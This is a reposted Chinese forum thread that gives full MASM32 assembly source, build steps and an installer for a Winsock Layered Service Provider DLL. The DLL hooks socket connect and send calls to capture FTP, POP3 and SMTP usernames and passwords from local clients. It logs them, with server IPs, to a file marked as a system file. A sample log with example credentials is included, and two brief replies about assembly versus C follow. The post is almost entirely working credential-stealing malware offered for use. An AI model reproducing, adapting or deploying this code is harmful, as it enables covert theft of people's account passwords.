发新话题
打印

[转载]使用masm32开发基于SPI的应用层SNIFFER

[转载]使用masm32开发基于SPI的应用层SNIFFER

文章作者:czy
信息来源:www.cnwill.com

安装程序spi.asm
DLL:spidll.asm
DLL生成后放在C盘下改名为rood.dll
编绎参数:
ml /c /coff spidll.asm
link /DLL /DEF:spidll.def /SUBSYSTEM:windows spidll.obj
ml /c /coff spi.asm
link /subsystem:CONSOLE spi.obj

dll的def文件
EXPORTS   WSPStartup

在2KPRO下测试很稳定,效率要比C的高不少哟,俺可是一个指令一个指令的
优化过..


;            #--------------------------------------#        #
;           # use SPIDLL Sniffer ftp(21),SMTP(25)   #       #
;          #    --->,pop3(110) password on local    #    #
;        #                                #  #
;       #               2004.12.27             #
;        #              codz: czy            #  #
;         #------------------------------------------#      #

;
;smtp/pop3 sniffer test on Foxmail(5.0.800.0)Chinese Version
;                  OutLook Express(6.00.2800.1106)Chinese Version
;
;ftp sniffer test on     CuteFTP(6.0 build 11.03.2004.1)English Version
;                  FlashFXP(3.0.2 build 1045)Chinese
;                  LeapFTP(2.7.4.602)English Version
;                  Internet Explorer (6.0.2800.1106)Chinese Version
;the ftp server  is www.west263.com(ftp://61.139.126.13)
;the mail server is www.elong.com/www.126.com(smtp.elong.com/smtp.126.com/pop3.126.com)

;the logfile is c:\snifferpass.txt and format like this:
;220.181.31.176 -->this is a pop3 server's ip
;USER chenzy82
;PASS fuckyou
;220.181.31.171 -->this is a smtp server's ip
;Y2hlbnp5ODI=  -->username
;MaExMaEx    -->password by base64 encode
;ftp:61.139.126.13  -->this is a ftpserver ip
;USER anonymous
;PASS guest@my.net
;ftp:61.139.126.13  -->this is a ftpserver ip
;USER czy82
;PASS 111111

;note:the smtp password is base64 encode
;    how to change pop3/smtp server's ip to host you can use

.386
.model flat,stdcall
option casemap:none
       include \masm32\include\windows.inc
       include \masm32\include\user32.inc
       include \masm32\include\kernel32.inc
   include \masm32\include\Ws2_32.inc
   include \masm32\include\masm32.inc
   
       includelib \masm32\lib\user32.lib
       includelib \masm32\lib\kernel32.lib
       includelib \masm32\lib\Ws2_32.lib
       includelib \masm32\lib\masm32.lib


WSAPROTOCOL_LEN      equ 255   
WSPDESCRIPTION_LEN   equ 255
MAX_PROTOCOL_CHAIN   equ 7
XP1_IFS_HANDLES      equ 20000h
LAYERED_PROTOCOL     equ 0
BASE_PROTOCOL      equ 1
WSABASEERR            equ 10000
WSAEPROVIDERFAILEDINIT  equ WSABASEERR+106

WSPPROC_TABLE   STRUCT
lpWSPAccept      DD ?
lpWSPAddressToString   DD ?
lpWSPAsyncSelect   DD ?   
lpWSPBind      DD ?
lpWSPCancelBlockingCall   DD ?
lpWSPCleanup      DD ?
lpWSPCloseSocket   DD ?   
lpWSPConnect      DD ?
lpWSPDuplicateSocket   DD ?   
lpWSPEnumNetworkEvents   DD ?
lpWSPEventSelect   DD ?   
lpWSPGetOverlappedResult   DD ?
lpWSPGetPeerName   DD ?   
lpWSPGetSockName   DD ?
lpWSPGetSockOpt      DD ?
lpWSPGetQOSByName   DD ?
lpWSPIoctl      DD ?
lpWSPJoinLeaf      DD ?
lpWSPListen      DD ?
lpWSPRecv      DD ?
lpWSPRecvDisconnect   DD ?   
lpWSPRecvFrom      DD ?
lpWSPSelect      DD ?
lpWSPSend      DD ?
lpWSPSendDisconnect   DD ?   
lpWSPSendTo      DD ?
lpWSPSetSockOpt      DD ?
lpWSPShutdown      DD ?
lpWSPSocket      DD ?
lpWSPStringToAddress   DD ?

WSPPROC_TABLE   ENDS


WSAPROTOCOLCHAIN STRUCT
ChainLen   DD ?                     
ChainEntries   DD MAX_PROTOCOL_CHAIN dup(?)
WSAPROTOCOLCHAIN ENDS
   
      
WSAPROTOCOL_INFOW STRUCT
dwServiceFlags1 DD ?
dwServiceFlags2 DD ?
dwServiceFlags3 DD ?
dwServiceFlags4 DD ?
dwProviderFlags DD ?
ProviderId   GUID <?>
dwCatalogEntryId DD ?
ProtocolChain      WSAPROTOCOLCHAIN  <?>
iVersion   DD ?
iAddressFamily  DD ?  
iMaxSockAddr   DD ?
iMinSockAddr   DD ?
iSocketType   DD ?
iProtocol   DD ?
iProtocolMaxOffset DD ?
iNetworkByteOrder   DD ?
iSecurityScheme      DD ?
dwMessageSize      DD ?
dwProviderReserved   DD ?
szProtocol   Dw WSAPROTOCOL_LEN+1 dup(?)
WSAPROTOCOL_INFOW ENDS

WSPData STRUCT
wVersion   WORD   ?
wHighVersion   WORD   ?
szDescription   DW WSPDESCRIPTION_LEN+1 dup(?)
WSPData   ENDS


WSABUF STRUCT
len   DWORD   ?
buf   DWORD   ?
WSABUF ENDS

WSPUPCALLTABLE   STRUCT

lpWPUCloseEvent      DWORD   ?
lpWPUCloseSocketHandle   DWORD   ?
lpWPUCreateEvent   DWORD   ?
lpWPUCreateSocketHandle   DWORD   ?
lpWPUFDIsSet      DWORD    ?
lpWPUGetProviderPath   DWORD   ?
lpWPUModifyIFSHandle   DWORD   ?
lpWPUPostMessage   DWORD   ?   
lpWPUQueryBlockingCallback   DWORD   ?
lpWPUQuerySocketHandleContext   DWORD   ?
lpWPUQueueApc        DWORD   ?
lpWPUResetEvent      DWORD   ?
lpWPUSetEvent      DWORD   ?
lpWPUOpenCurrentThread   DWORD   ?
lpWPUCloseThread   DWORD   ?

WSPUPCALLTABLE   ENDS

.data
hInstance dd 0
errorcode   dd ?
protoinfo   dd ?
totalprotos   dd ?
protoinfosize   dd ?
spiguid      db 253,145,30,77,106,17,170,68,143,212,29,44,242,123,217,169,0
dllpath      db 256 dup(?)
dllpath2   db 256 dup(?)
startupname   db &#39;WSPStartup&#39;,0
nextproctable   WSPPROC_TABLE <?>
usertag      db &#39;USER&#39;,0
passtag      db &#39;PASS&#39;,0
logpop      db &#39;c:\snifferpass.txt&#39;,0
poptag      dd ? ;记录标识   
smtptag      dd ?
ftptag      dd ?
crlf      db 0dh,0ah,0
ftphead      db &#39;ftp:&#39;,0

.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
     
   .if reason==DLL_PROCESS_ATTACH  ;dll加载时
           push hInstDLL
        pop hInstance
        
   .endif
      mov  eax,TRUE   
      ret
DllEntry Endp

_CmpGUID   proc   whichguid:DWORD ,whichid:DWORD
      mov   ebx,whichid
      .if    whichguid==1
        mov   edx,offset spiguid
      .endif
      mov   eax,[ebx]
      mov   ecx,[edx]
      .if   eax==ecx
        add   ebx,4
        add   edx,4
        mov   eax,[ebx]
        mov   ecx,[edx]        
        .if   eax==ecx
           add   ebx,4
           add   edx,4
           mov   eax,[ebx]
           mov   ecx,[edx]
           .if   eax==ecx
              add   ebx,4
              add   edx,4
              mov   eax,[ebx]
              mov   ecx,[edx]
              .if   eax==ecx ;找到GUID相同的
                mov   eax,esi
                ret
               
              .else
              jmp   @@nextguid
              .endif
           .else
           jmp   @@nextguid
           .endif
        .else
        jmp   @@nextguid
        .endif
      .else
      jmp   @@nextguid
      .endif
   @@nextguid:   

   mov   eax,0
   ret
_CmpGUID   endp

_GetFilter   proc
   mov   protoinfo,NULL
      mov   totalprotos,0
      mov   protoinfosize,0


   invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
   .if   eax==SOCKET_ERROR
      .if errorcode!=WSAENOBUFS
        ret
      .endif
   .endif
   
   invoke   GlobalAlloc,GPTR,protoinfosize
      .if   eax==NULL
          ret
        .else
          mov   protoinfo,eax   
        .endif
      
      invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
      .if   eax==SOCKET_ERROR
      ret
   .else
      mov   totalprotos,eax   
      .endif
   
   ret
_GetFilter   endp

WSPSend      proc   s:DWORD,lpbuffer:DWORD,dwbuffercount:DWORD,lpnumberofbytessent:DWORD,dwflags:DWORD,lpoverlapped:DWORD,lpcompletionroutine:DWORD,lpthreadid:DWORD,lperrno:DWORD                                
      local    hpop:dword
      local   tag[5]:byte
      
      mov   esi,lpbuffer
      assume   esi:ptr WSABUF
      .if   poptag==1 || ftptag==1
        mov   edx,dword ptr [esi].buf
        mov   ecx,dword ptr [edx]
        .if   ecx==&#39;RESU&#39; || ecx==&#39;SSAP&#39;  ;要反写
           jmp   @@logpop
        .else
           jmp   @@callsyssend   
        .endif
        
      .elseif smtptag==1
        mov   ecx,[esi].buf
        add   ecx,4    ;比较第五个字节是否是空格或0Dh
        mov   dl,byte ptr [ecx]
        .IF   dl==20H || dl==0dh || [esi].len>50d
           JMP   @@callsyssend
        .ELSE
           JMP   @@logpop        
        .ENDIF
      
      .else
      jmp   @@callsyssend
      .endif
      
@@logpop:      
      ;------------写记录文件
           invoke   CreateFile,offset logpop,GENERIC_WRITE,FILE_SHARE_READ,\
                         NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
             mov   hpop,eax
           invoke   SetFilePointer,hpop,0,NULL,FILE_END
           invoke   SetEndOfFile,hpop              ;文件指针放到文件尾                           
           invoke   _lwrite,hpop,[esi].buf,[esi].len
           invoke   CloseHandle,hpop
           ;------------
      assume   esi:nothing
   
@@callsyssend:
;执行系统的WSPSend
      mov   esi,offset nextproctable
      assume   esi:ptr WSPPROC_TABLE
      mov   eax,[esi].lpWSPSend
      assume   esi:nothing
      push   lperrno
      push   lpthreadid
      push   lpcompletionroutine
      push   lpoverlapped
      push   dwflags
      push   lpnumberofbytessent
      push   dwbuffercount
      push   lpbuffer
      push   s
      call   eax
      

      ret      

WSPSend      endp

;----------------------------------挂接API的CONNECT函数得到连接的邮件服务器的IP
WSPConnect   proc   s:DWORD,name1:DWORD,namelen:DWORD,lpCallerData:DWORD,lpCalleeData:DWORD,lpSQOS:DWORD,lpGQOS:DWORD,lpErrno:DWORD
      LOCAL   hfile:DWORD
      LOCAL   ipaddress[25]:BYTE
      LOCAL   bufferlen:DWORD

      mov   edi,name1
      assume   edi:PTR sockaddr_in
      
      ;invoke   htons,110
      .if   word ptr [edi].sin_port==6e00h  ;110
        mov   poptag,1
        mov   smtptag,0
        mov   ftptag,0
           .elseif word ptr [edi].sin_port==1900H  ;25
              mov   smtptag,1
              mov   poptag,0
              mov   ftptag,0
           .elseif word ptr [edi].sin_port==1500H  ;21   
              mov   ftptag,1
              mov   smtptag,0
              mov   poptag,0
              invoke   lstrcpy,addr ipaddress,offset ftphead
      .else
        mov   poptag,0   
        mov   smtptag,0
        mov   ftptag,0
        jmp   @@callsysconnect   
      .endif
        
        push   [edi].sin_addr ; 把网络名转化为ASCII格式的IP地址
        call   inet_ntoa
        invoke   lstrcat,addr ipaddress,eax
        invoke   lstrcat,addr ipaddress,offset crlf
        ;------------写记录文件
              invoke   CreateFile,offset logpop,GENERIC_WRITE,FILE_SHARE_READ,\
                         NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
                mov   hfile,eax
              invoke   SetFilePointer,hfile,0,NULL,FILE_END
              invoke   SetEndOfFile,hfile     
                invoke   lstrlen,addr ipaddress                  
              invoke   _lwrite,hfile,addr ipaddress,eax
              invoke   CloseHandle,hfile
           ;------------
      assume   edi:nothing
@@callsysconnect:
;调用系统自已的Connect      
      mov   esi,offset nextproctable
      assume   esi:ptr WSPPROC_TABLE
      mov   eax,[esi].lpWSPConnect
      assume   esi:nothing
      push   lpErrno
      push   lpGQOS
      push   lpSQOS
      push   lpCalleeData
      push   lpCallerData
      push   namelen
      push   name1
      push   s
      call   eax
      ret
      
WSPConnect   ENDP

WSPStartup    proc   wversionrequested:WORD,lpwspdata:DWORD,lpprotoinfo:DWORD,upcalltable:WSPUPCALLTABLE,lpproctable:DWORD
        LOCAL i:dword
        local filterpathlen:dword
        local layerid:dword
        local nextlayerid:dword
        local filterpath:dword
        local hfilter:dword
        local wspstartupfunc:dword

      PUSH   EBX
;测试自已的协议链是不是大于1
      mov   esi,lpprotoinfo
      assume   esi:ptr WSAPROTOCOL_INFOW
      .if   [esi].ProtocolChain.ChainLen<=1
        mov   eax,FALSE
        RET
      .endif
      assume   esi:nothing

      invoke   _GetFilter
      
;得到自已的提供者的ENTRYID给变量layerid
      xor   edi,edi
      mov   esi,protoinfo
      assume   esi:ptr WSAPROTOCOL_INFOW
      .while edi<totalprotos
        lea   ebx,[esi].ProviderId
        invoke   _CmpGUID,1,ebx
        .if   eax!=0
           lea   ebx,layerid
           mov   ecx,[esi].dwCatalogEntryId
           mov   [ebx],ecx
           .break
        .endif
      add   esi,sizeof WSAPROTOCOL_INFOW
      inc   edi
      .endw
      assume   esi:nothing

;得到自身协议链的的下一个ENTRYID,也就是系统DLL的ENTRYID给变量nextlayerid      
      xor   edi,edi
      mov   esi,lpprotoinfo
      assume   esi:ptr WSAPROTOCOL_INFOW
      .while edi<[esi].ProtocolChain.ChainLen ;一般长度为2
        mov   ebx,edi
        imul   ebx,4
        mov   eax,[esi].ProtocolChain.ChainEntries[ebx]
        .if eax==layerid

           add   ebx,4
           mov   ecx,[esi].ProtocolChain.ChainEntries[ebx]
           lea   edx,nextlayerid
           mov   [edx],ecx
        .break
        .endif
      inc   edi
      .endw
      assume   esi:nothing
      
;通过系统DLL的ENTRYID得到DLL的路径        
      xor   edi,edi
      mov   esi,protoinfo
      assume   esi:ptr WSAPROTOCOL_INFOW
      .while edi<totalprotos
        mov   eax,[esi].dwCatalogEntryId
        .if eax==nextlayerid
           mov   filterpath,offset dllpath
           mov   filterpathlen,255  ;四个参数全部是指针
           invoke   WSCGetProviderPath,addr [esi].ProviderId,filterpath,addr filterpathlen,offset errorcode
           .if eax==SOCKET_ERROR
              mov   eax,WSAEPROVIDERFAILEDINIT
              ret
           .else
              
              .break
           .endif
        .endif
      add   esi,sizeof WSAPROTOCOL_INFOW
      inc   edi
      .endw
      assume   esi:nothing

;得到DLL的绝对路径
      invoke   ExpandEnvironmentStringsW,offset dllpath,offset dllpath2,MAX_PATH
      .if   eax==0
        mov   eax,WSAEPROVIDERFAILEDINIT
        ret
      .endif

;加载系统的DLL一般是MSAFD.DLL      
      invoke   LoadLibraryW,offset dllpath2
      .if   eax==NULL
        mov   eax,WSAEPROVIDERFAILEDINIT
        ret
      .else
        mov   hfilter,eax
      .endif
      
;得到系统DLL的wspstartup初始化函数地址
      invoke   GetProcAddress,hfilter,offset startupname
      .if   eax==NULL
        mov   eax,WSAEPROVIDERFAILEDINIT
        ret
      .else
        mov   wspstartupfunc,eax
      .endif

;调用系统DLL的初始化函数以得到30个WSP函数的入口地址,这些地址值的地址由lpproctable指针指向      
      ;if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)

      push   lpproctable
      ;      push   upcalltable
      mov   ecx,0fh   ;结构有15个成员每个成员4字节
      sub   esp,3ch   ;ESP空出60个字节
      lea   esi,upcalltable
      mov   edi,esp
      rep   movsd
      ;对于一个函数的参数不是DWORD应该这样传参数

      push   lpprotoinfo
      push   lpwspdata
      mov   cx,word ptr wversionrequested
      push   ecx  ;注意第一个参数是2字节
      call   wspstartupfunc
      .if   eax!=ERROR_SUCCESS

        ret   
      
      .endif

;复质系统DLL初始化的地址到nextproctable结构中      
      mov   esi,lpproctable
      mov   ecx,1eh   ;30d        
      lea   edi,nextproctable
      rep   movsd ;不能是repz movsd
      
;挂接wspsend      
        ;   lpproctable->lpWSPSend=WSPSend
      mov   edx,lpproctable
        add   edx,5ch
        mov   [edx],WSPSend
;挂接WSPConnect
      mov   edx,lpproctable
      add   edx,1ch
      mov   [edx],WSPConnect        

;释放资源返回,以后当应用程序调用SOCKET API比如SEND的时候,WS2_32.DLL会加载我们的ROOD.DLL并调用我们的WSPSEND函数        
        invoke   GlobalFree,protoinfo
      xor   eax,eax
      pop   ebx
      ret

WSPStartup   endp


End DllEntry


;-----------------------------------spi.asm------------------
.386
    .model flat, stdcall
    option casemap :none  ; case sensitive
; #########################################################################

       include \masm32\include\windows.inc
       include \masm32\include\user32.inc
       include \masm32\include\kernel32.inc
   include \masm32\include\Ws2_32.inc
   include \masm32\include\masm32.inc
   
       includelib \masm32\lib\user32.lib
       includelib \masm32\lib\kernel32.lib
       includelib \masm32\lib\Ws2_32.lib
       includelib \masm32\lib\masm32.lib
      
WSAPROTOCOL_LEN      equ 255   
MAX_PROTOCOL_CHAIN   equ 7
XP1_IFS_HANDLES      equ 20000h
LAYERED_PROTOCOL     equ 0

WSAPROTOCOLCHAIN STRUCT
ChainLen   DD ?                     
ChainEntries   DD MAX_PROTOCOL_CHAIN dup(?)
WSAPROTOCOLCHAIN ENDS
   
      
WSAPROTOCOL_INFOW STRUCT
dwServiceFlags1 DD ?
dwServiceFlags2 DD ?
dwServiceFlags3 DD ?
dwServiceFlags4 DD ?
dwProviderFlags DD ?
ProviderId   GUID <?>
dwCatalogEntryId DD ?
ProtocolChain      WSAPROTOCOLCHAIN  <?>
iVersion   DD ?
iAddressFamily  DD ?  
iMaxSockAddr   DD ?
iMinSockAddr   DD ?
iSocketType   DD ?
iProtocol   DD ?
iProtocolMaxOffset DD ?
iNetworkByteOrder   DD ?
iSecurityScheme      DD ?
dwMessageSize      DD ?
dwProviderReserved   DD ?
szProtocol   Dw WSAPROTOCOL_LEN+1 dup(?)
WSAPROTOCOL_INFOW ENDS



      
      
.data

socketerror   db &#39;sockterror&#39;,0
socketerror2   db &#39;Second WSCEnumProtocols Error&#39;,0
error3      db &#39;error install spi dll&#39;,0
error4      db &#39;error install udpfilter&#39;,0
error5      db &#39;error order&#39;,0
installok   db &#39;order ok&#39;,0
nomem      db &#39;nomem&#39;,0
findspi      db &#39;findspi&#39;,0
nofindspi   db &#39;cant findspi&#39;,0
errorcode   dd ?
protoinfo   dd ?
totalprotos   dd ?
protoinfosize   dd ?
szspibufferformat   db &#39;已经安装的SPI有:%d 个&#39;,0dh,0ah,0
szspibuffer   db 300 dup(?)
ipinfo      WSAPROTOCOL_INFOW <?>
udpinfo    WSAPROTOCOL_INFOW <?>
chainarray   WSAPROTOCOL_INFOW <?>
spiname      db 300 dup (?)
crlf      db 0dh,0ah,0
rawip      dd ?
udpip      dd ?
rood      dw &#39;R&#39;,&#39;0&#39;,&#39;0&#39;,&#39;D&#39;,0  ;要定义成unicode格式
udprood      dw &#39;R&#39;,&#39;0&#39;,&#39;0&#39;,&#39;D&#39;,&#39;U&#39;,&#39;D&#39;,&#39;P&#39;,0
spipath      dw &#39;c&#39;,&#39;:&#39;,&#39;\&#39;,&#39;r&#39;,&#39;o&#39;,&#39;o&#39;,&#39;d&#39;,&#39;.&#39;,&#39;d&#39;,&#39;l&#39;,&#39;l&#39;,0
spiguid      db 253,145,30,77,106,17,170,68,143,212,29,44,242,123,217,169,0
filterchainguid   db 33,17,194,211,225,133,243,72,154,182,35,217,12,115,7,239,0
; filterchainguid={0xd3c21121,0x85e1,0x48f3,{0x9a,0xb6,0x23,0xd9,0x0c,0x73,0x07,0xef}};
ipid      dd ?
udpid      dd ?
provcnt      dd ?
cataentries   dd ? ;指向所有的ENTRIES
cataindex   dd ?

.code
_CmpGUID   proc   whichguid:DWORD ,whichid:DWORD
      mov   ebx,whichid
      .if    whichguid==1
        mov   edx,offset spiguid
      .elseif   whichguid==0
        mov   edx,offset filterchainguid
      .endif
      mov   eax,[ebx]
      mov   ecx,[edx]
      .if   eax==ecx
        add   ebx,4
        add   edx,4
        mov   eax,[ebx]
        mov   ecx,[edx]        
        .if   eax==ecx
           add   ebx,4
           add   edx,4
           mov   eax,[ebx]
           mov   ecx,[edx]
           .if   eax==ecx
              add   ebx,4
              add   edx,4
              mov   eax,[ebx]
              mov   ecx,[edx]
              .if   eax==ecx ;找到GUID相同的
                mov   eax,esi
                ret
               
              .else
              jmp   @@nextguid
              .endif
           .else
           jmp   @@nextguid
           .endif
        .else
        jmp   @@nextguid
        .endif
      .else
      jmp   @@nextguid
      .endif
   @@nextguid:   

   mov   eax,0
   ret
_CmpGUID   endp

_GetFilter   proc
   mov   protoinfo,NULL
      mov   totalprotos,0
      mov   protoinfosize,0


   invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
   .if   eax==SOCKET_ERROR
      .if errorcode!=WSAENOBUFS
        invoke   StdOut,offset socketerror
      .endif
   .endif
   
   invoke   GlobalAlloc,GPTR,protoinfosize
      .if   eax==NULL
          invoke   StdOut,offset nomem
        .else
          mov   protoinfo,eax   
        .endif
      
      invoke   WSCEnumProtocols,NULL,protoinfo,offset protoinfosize,offset errorcode
      .if   eax==SOCKET_ERROR
      invoke   StdOut,offset socketerror2
   .else
      mov   totalprotos,eax   
      .endif

   invoke   wsprintf,offset szspibuffer,offset szspibufferformat,totalprotos
   invoke   StdOut,offset szspibuffer
   
   mov   esi,protoinfo
   assume   esi:ptr WSAPROTOCOL_INFOW
   
   xor    edi,edi
   .while edi<totalprotos      
      lea   ebx,[esi].szProtocol

      invoke   WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0      
      invoke   lstrcat,offset spiname,offset crlf
      invoke   StdOut,offset spiname
   add   esi,sizeof WSAPROTOCOL_INFOW
   inc   edi
   .endw
   assume   esi:nothing   
   
   ret
_GetFilter   endp

_InstallFilter   proc
   

   invoke   _GetFilter  ;得到服务提供者个数
   
;找到第一个符合要求的结构   
   mov   esi,protoinfo
   assume   esi:ptr WSAPROTOCOL_INFOW
   xor edi,edi
   .while edi<totalprotos
      .if rawip==FALSE && [esi].iAddressFamily==AF_INET && [esi].iProtocol==IPPROTO_IP
        MOV   rawip,TRUE


        
        lea   ebx,[esi].szProtocol
        invoke   WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0      
        invoke   lstrcat,offset spiname,offset crlf
        invoke   StdOut,offset spiname

        invoke   RtlMoveMemory,offset ipinfo,esi,sizeof WSAPROTOCOL_INFOW
        
        mov   ebx,[esi].dwServiceFlags1
        mov   edx,XP1_IFS_HANDLES
        not   edx
        and   ebx,edx
        mov   ecx,offset ipinfo
        assume   ecx:ptr WSAPROTOCOL_INFOW
        mov   [ecx].ProtocolChain.ChainLen,LAYERED_PROTOCOL ;设置自已的低层服务提供者
        
        mov   [ecx].dwServiceFlags1,ebx
        
        lea   ebx,[ecx].szProtocol
        invoke   RtlMoveMemory,ebx,offset rood,12 ;设置SPI名字
        
        assume   ecx:nothing
      .endif
      
      ;设置tcp协议链的WSAPROTOCOL_INFOW结构
      .if udpip==FALSE && [esi].iAddressFamily==AF_INET && [esi].iProtocol==IPPROTO_TCP
        MOV   udpip,TRUE


        
        lea   ebx,[esi].szProtocol
        invoke   WideCharToMultiByte,0,512d,ebx,-1,offset spiname,100h,0,0      
        invoke   lstrcat,offset spiname,offset crlf
        invoke   StdOut,offset spiname
        nop
        invoke   RtlMoveMemory,offset udpinfo,esi,sizeof WSAPROTOCOL_INFOW
        
        
        mov   ebx,[esi].dwServiceFlags1
        mov   edx,XP1_IFS_HANDLES
        not   edx
        and   ebx,edx
        mov   ecx,offset udpinfo
        assume   ecx:ptr WSAPROTOCOL_INFOW
        mov   [ecx].dwServiceFlags1,ebx
        
        lea   ebx,udpid
        mov   edx,[ecx].dwCatalogEntryId  ;保存系统存在的TCP提供者的ID
        mov   [ebx],edx
        
        assume   ecx:nothing
      .endif
   add   esi,sizeof WSAPROTOCOL_INFOW   
   inc   edi      
   .endw
   assume   esi:nothing
   
;安装DLL   
;GUID  filterguid={0x4d1e91fd,0x116a,0x44aa,{0x8f,0xd4,0x1d,0x2c,0xf2,0x7b,0xd9,0xa9}};
   ;mov   esi,offset spiguid
   ;assume   esi:ptr GUID
;      mov   [esi].Data1,1sdfsadfh
;      mov   [esi].Data2,116ah
;      mov   [esi].Data3,44aah
;      mov   [esi].Data4,8fd41d2cf27bd9a9h
;   assume   esi:nothing
    invoke   WSCInstallProvider,offset spiguid,offset spipath,offset ipinfo,1,offset errorcode
    .if eax==SOCKET_ERROR
      invoke   StdOut,offset error3
    .endif

   invoke   GlobalFree,protoinfo
   
   invoke   _GetFilter  ;安装服务提供者后重新列举
   nop
   
   xor   edi,edi
   mov   esi,protoinfo
   assume   esi:ptr WSAPROTOCOL_INFOW
   .while   edi<totalprotos
   
      lea   ebx,[esi].ProviderId
      invoke   _CmpGUID,1,ebx
      .if   eax!=0
        invoke   MessageBoxA,0,offset findspi,offset findspi,1
   
        lea   ebx,ipid
        mov   ecx,[esi].dwCatalogEntryId
        mov   [ebx],ecx
        assume   esi:nothing
        jmp   @@exitlist
      ;.else
      ;   invoke   MessageBoxA,0,offset nofindspi,offset nofindspi,1
      .endif
   
   add   esi,sizeof WSAPROTOCOL_INFOW
   inc   edi
   .endw
assume   esi:nothing
@@exitlist:
;---重新设置链
   nop
   .if   udpip==TRUE
   mov   esi,offset udpinfo
   assume   esi:ptr WSAPROTOCOL_INFOW
      lea   ebx,[esi].szProtocol
      invoke   RtlMoveMemory,ebx,offset udprood,18 ;设置updSPI名字
      .if [esi].ProtocolChain.ChainLen==1 ;BASE_PROTOCOL
        lea   ebx,[esi].ProtocolChain.ChainEntries[4] ;udpchaininfo.ProtocolChain.ChainEntries[1]=udporigcataid
        lea   eax,udpid
        mov   ecx,[eax]
        mov   [ebx],ecx
        
      .else
        xor edi,edi
        .while edi<[esi].ProtocolChain.ChainLen
        mov   edx,edi
        imul   edx,4
        lea   eax,[esi].ProtocolChain.ChainEntries[edx]
        mov   ebx,edx
        add   ebx,4
        mov   ebx,[eax]
        
        inc   edi
        .endw
      .endif
   
   inc   [esi].ProtocolChain.ChainLen  ;inc dword ptr [esi+??]
      

   lea   ebx,ipid
   mov   eax,[ebx]
   mov   [esi].ProtocolChain.ChainEntries,eax  ;自已的分层提供者一定要在第一个
   invoke   RtlMoveMemory,offset chainarray,offset udpinfo,sizeof WSAPROTOCOL_INFOW
   assume   esi:nothing
   .endif

   ;mov   esi,offset filterchainguid
   ;assume   esi:ptr GUID
   ;   mov   [esi].Data1,1h
   ;   mov   [esi].Data2,1abbh
   ;   mov   [esi].Data3,2abbh
   ;   mov   [esi].Data4,01h
   ;assume   esi:nothing
   invoke   WSCInstallProvider,offset filterchainguid,offset spipath,offset chainarray,1,offset errorcode
   .if EAX==SOCKET_ERROR
      invoke   StdOut,offset error4
   .endif

   invoke   GlobalFree,protoinfo

;---重新排列服务提供者
   nop
   invoke   _GetFilter
   mov   ebx,totalprotos
   imul   ebx,4
   invoke   GlobalAlloc,GPTR,ebx
   .if   eax==NULL
      invoke   StdOut,offset nomem
      ret
   .else
      mov   cataentries,eax
   .endif
   
   
;---把自已的两个服务提供者放在最顶端   
   nop
   xor   edi,edi
   mov   esi,protoinfo
   assume   esi:ptr WSAPROTOCOL_INFOW
   .while   edi<totalprotos
   
      lea   ebx,[esi].ProviderId
      invoke   _CmpGUID,1,ebx
      .if   eax!=0   
        mov   ebx,cataentries
        mov   eax,cataindex
        imul   eax,4
        add   ebx,eax      
        inc   cataindex
        mov   ecx,[esi].dwCatalogEntryId
        mov   [ebx],ecx
      .endif
      lea   ebx,[esi].ProviderId
      invoke   _CmpGUID,0,ebx
      .if   eax!=0   
        mov   ebx,cataentries
        mov   eax,cataindex
        imul   eax,4
        add   ebx,eax      
        inc   cataindex
        mov   ecx,[esi].dwCatalogEntryId
        mov   [ebx],ecx
      .endif
      
   
   add   esi,sizeof WSAPROTOCOL_INFOW
   inc   edi
   .endw
;--------把其它的服务提供者排在后面
   
   xor   edi,edi
   mov   esi,protoinfo
   assume   esi:ptr WSAPROTOCOL_INFOW
   .while   edi<totalprotos
   
      lea   ebx,[esi].ProviderId
      invoke   _CmpGUID,1,ebx
      .if   eax==0   
        lea   ebx,[esi].ProviderId
        invoke   _CmpGUID,0,ebx
        .if   eax==0   
        nop
           mov   ebx,cataentries
           mov   eax,cataindex
           imul   eax,4
           add   ebx,eax      
           inc   cataindex
           mov   ecx,[esi].dwCatalogEntryId
           mov   [ebx],ecx
        .endif
      .endif
      
      
   
   add   esi,sizeof WSAPROTOCOL_INFOW
   inc   edi
   .endw
   
   invoke   WSCWriteProviderOrder,cataentries,totalprotos
   .if   eax!=ERROR_SUCCESS
      invoke   StdOut,offset error5
   .else
      invoke   StdOut,offset installok
   .endif
   
   
   
   invoke   GlobalFree,protoinfo
   
   ret
_InstallFilter   endp

start:
   
   invoke   _InstallFilter
   ;invoke   _GetFilter
   invoke    ExitProcess,0
end start
益友网吧联盟  http://www.96-7.com

TOP

我还是比较信任C的编译器,相比个人对汇编代码的优化,C编译器对代码的处理要更严格一些,同时相信它的算法还要好一些
为什么要 “#include ”?

TOP

发新话题